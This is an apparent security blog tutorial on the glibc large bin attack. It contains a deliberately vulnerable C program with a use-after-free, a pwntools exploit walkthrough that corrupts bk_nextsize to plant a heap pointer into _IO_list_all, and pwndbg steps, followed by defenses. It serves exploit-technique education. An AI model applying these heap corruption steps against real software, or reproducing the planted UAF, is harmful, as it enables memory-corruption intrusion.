Large Bin Attack

Large Bin Attack - article cover image RE & Pwn
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

The large bin attack is the modern successor to the unsorted bin attack. Where the 2.29 corrupted unsorted chunks check retired the simple unsorted-bin write, the same partial-unlink idea survives one level down, in the code that inserts a chunk into a large bin and keeps it sorted using the fd_nextsize/bk_nextsize skip pointers. By corrupting those pointers on a chunk already in a large bin, you make the allocator write the address of a newly inserted chunk to an address you choose — a ‘write a heap pointer to an arbitrary target’ primitive that remains viable on current glibc.

That primitive is narrower than a full arbitrary write (you place a heap pointer, not an arbitrary value), but it is exactly what a surprising number of high-level techniques need: overwriting _IO_list_all to bootstrap FSOP, planting a controlled chunk address into global_max_fast, or corrupting a _IO_FILE/stdout pointer to set up an arbitrary read/write. This article walks the large bin structure, the exact insertion path that does the write, the 2.30 hardening that reduced it from two writes to one, and a clean end-to-end setup under pwndbg.

Attack Prerequisites

The large bin attack needs two large-bin-sized chunks and precise control of the order in which they are sorted:

  • Two chunks in a large-bin size range (chunk size >= 0x420, above the tcache ceiling), with the first larger than the second so the second sorts *after* it.
  • A write into a freed chunk’s bk_nextsize (via UAF or overflow) to corrupt the skip pointer of the chunk already resident in the large bin.
  • Control over sorting — the ability to force an allocation that scans the unsorted bin and moves the first chunk into its large bin, then to insert the second, smaller chunk.
  • A heap leak is usually needed only to know the address that will be written; the value written is chosen by the allocator (the inserted chunk’s address), so you control *where*, not *what*.

How It Works

Large bins hold ranges of sizes and keep their members sorted in descending order. To make traversal cheap, each distinct size has a representative linked through fd_nextsize/bk_nextsize (a skip list over sizes), in addition to the ordinary fd/bk list. When _int_malloc moves a chunk out of the unsorted bin into a large bin, it walks to the correct sorted position and splices the chunk in, updating those nextsize pointers. That splice performs pointer writes derived from the neighbours’ fd/bk_nextsize fields — and if an attacker has corrupted a neighbour’s bk_nextsize, one of those writes lands at an attacker-chosen address.

Concretely, in the insertion branch taken when the incoming chunk is smaller than the smallest chunk currently in the bin, glibc executes roughly victim->bk_nextsize = fwd->fd->bk_nextsize; followed by fwd->fd->bk_nextsize->fd_nextsize = victim;. If you have set the resident chunk’s bk_nextsize to target - 0x20, then bk_nextsize->fd_nextsize resolves to target (because fd_nextsize sits 0x20 bytes into the chunk), and the allocator writes victim — the address of the just-inserted chunk — into target. You do not pick the value (it is a heap address), but you pick the destination, which is enough to overwrite a pointer field in libc or the heap with a chunk you control.

glibc 2.30 hardened this path. Earlier glibc allowed corrupting both bk and bk_nextsize, yielding two writes per insertion (the bk->fd = victim write and the nextsize write), which made the technique more flexible. The 2.30 patch added consistency checks around the bk/fd relationship on the large-bin insertion, removing the bk-based write and leaving the single bk_nextsize write described above. So on glibc >= 2.30 the large bin attack is a one-write-per-insertion primitive; that single write is still highly useful, and it is the version we target here. As always the write value is a heap pointer, so the technique pairs naturally with objects that expect to hold a pointer — _IO_list_all, a _IO_FILE field, global_max_fast, or the tcache management struct.

Vulnerable Code / Setup

The vulnerable driver exposes the usual UAF write, and the exploit uses two large chunks plus guards. The sizes are chosen so both chunks fall in the same large bin and the second is smaller than the first:

// gcc -O0 -fno-stack-protector -no-pie largebin.c -o largebin
#include <stdlib.h>
#include <string.h>
char *ptrs[16]; size_t szs[16];

void add(int i, size_t n){ ptrs[i]=malloc(n); szs[i]=n; }
void del(int i){ free(ptrs[i]); }              // BUG: no null -> UAF
void edit(int i, char *s, size_t n){ memcpy(ptrs[i], s, n); }  // UAF write
// large-bin sizes: e.g. 0x428 (P1) and 0x418 (P2); guards prevent top-consolidation
C

Confirm protections and glibc, since 2.30 governs whether one or two writes are available and safe-linking (2.32) does not affect nextsize pointers but does affect any tcache steps in the same chain:

$ checksec --file=./largebin
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$ ldd --version | head -1
ldd (Ubuntu GLIBC 2.35-0ubuntu3) 2.35   # single-write large bin attack applies
Bash

Walkthrough / Exploitation

First get P1 into a large bin. Free the larger chunk into the unsorted bin, then trigger a scan with a request that does not consume it, which sorts P1 into its large bin:

from pwn import *
io = process('./largebin')
def add(i,n):     ...   # menu wrappers
def free(i):      ...
def edit(i,data): ...

add(0, 0x428)   # P1 (larger)
add(1, 0x18)    # guard
add(2, 0x418)   # P2 (smaller, same large bin)
add(3, 0x18)    # guard

free(0)         # P1 -> unsorted bin
add(4, 0x438)   # bigger request scans unsorted bin -> sorts P1 into large bin
Python

Verify P1 is now in the large bin and note its address and nextsize fields under pwndbg — the corruption target is P1’s bk_nextsize:

pwndbg> bins
largebins
0x420: 0x5555...300 (P1)  fd_nextsize/bk_nextsize -> self (only member)
pwndbg> vis_heap_chunks   # read P1's fd_nextsize (off 0x20) / bk_nextsize (0x28)
Bash

Now corrupt P1’s bk_nextsize to target - 0x20, free P2 into the unsorted bin, and trigger another sort. As P2 is inserted into the large bin (it is smaller than P1), the splice writes P2’s address into target:

target = libc.sym['_IO_list_all']   # or global_max_fast, or a _IO_FILE field
# P1 header layout: fd(0x10) bk(0x18) fd_nextsize(0x20) bk_nextsize(0x28)
edit(0, b'A'*0x18 + p64(target - 0x20))  # overwrite P1->bk_nextsize

free(2)         # P2 -> unsorted bin
add(5, 0x438)   # scan sorts P2 into the large bin -> writes &P2 to target
#  target now holds the address of P2, a chunk whose contents you control.
Python

From here the chain depends on the destination. Writing P2’s address into _IO_list_all sets up a File Stream-Oriented Programming chain where P2 is crafted as a fake _IO_FILE; writing it into global_max_fast turns almost any size into a fastbin so a subsequent free/overwrite becomes a near-arbitrary write; writing it over a _IO_2_1_stdout_ pointer field can build an arbitrary read. The large bin attack is rarely the final step — it is the mid-chain primitive that plants a controlled chunk address exactly where a later technique expects a pointer.

Note: Getting the sort to happen is the fiddly part: a chunk only leaves the unsorted bin for its large bin when a malloc scans past it without using it, so you must request a size that forces traversal but is served from the top chunk (or another bin) rather than consuming P1/P2. If bins shows your chunk still sitting in unsortedbin, the sort never triggered — adjust the triggering request size and re-check before corrupting bk_nextsize.

Opsec: The value written is always the inserted chunk’s heap address, never a value you pick — so the large bin attack only helps when the target field is happy to hold a pointer to controlled data. Plan the whole chain backward from ‘what does this pointer need to point at’, craft P2’s contents to be a valid object for that consumer, and confirm the 0x20 offset math against vis_heap_chunks for the exact glibc, since struct layout is version-stable but worth verifying.

Detection and Defense

Like its unsorted-bin ancestor, the large bin attack is allocator-metadata corruption seeded by a lifetime bug:

  • Null freed pointers and use ownership models so the UAF/overflow that corrupts bk_nextsize cannot occur.
  • Run glibc >= 2.30 — the added large-bin consistency checks removed the second (bk-based) write; keep libc current to retain that reduction.
  • Full RELRO + PIE and a hardened set of function-pointer objects reduce the number of useful destinations for a planted heap pointer.
  • Sanitizers — ASan/Valgrind catch the underlying corruption in CI before it reaches the large-bin insertion code.
  • Monitor glibc aborts — large-bin consistency failures surface as malloc()/corrupted abort strings that are high-signal in crash telemetry.

Real-World Impact

The large bin attack rose to prominence precisely because the 2.29 unsorted-bin check closed the older, simpler write, and researchers needed a metadata write that still worked on modern glibc. It is now a standard mid-chain primitive in CTF-grade and research exploits, most visibly as the bootstrap for FSOP: planting a controlled chunk into _IO_list_all is one of the canonical routes from a heap bug into _IO_FILE vtable abuse. Its persistence — and the 2.30 patch that trimmed rather than removed it — is another data point in the long-running exchange between glibc hardening and the partial-unlink family of techniques.

Conclusion

The large bin attack reuses the partial-unlink idea in the one place glibc still leaves it exposed: the sorted insertion into a large bin, where corrupting a resident chunk’s bk_nextsize to target - 0x20 makes the allocator write a newly inserted chunk’s address into target. It is a where-not-what write of a heap pointer, trimmed to a single write by the 2.30 hardening, and its value is as the connective step that seeds FSOP, global_max_fast, or _IO_FILE corruption. Get the two large chunks sorted in the right order, corrupt one skip pointer, and the allocator hands your controlled chunk to whatever consumer reads that target next.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL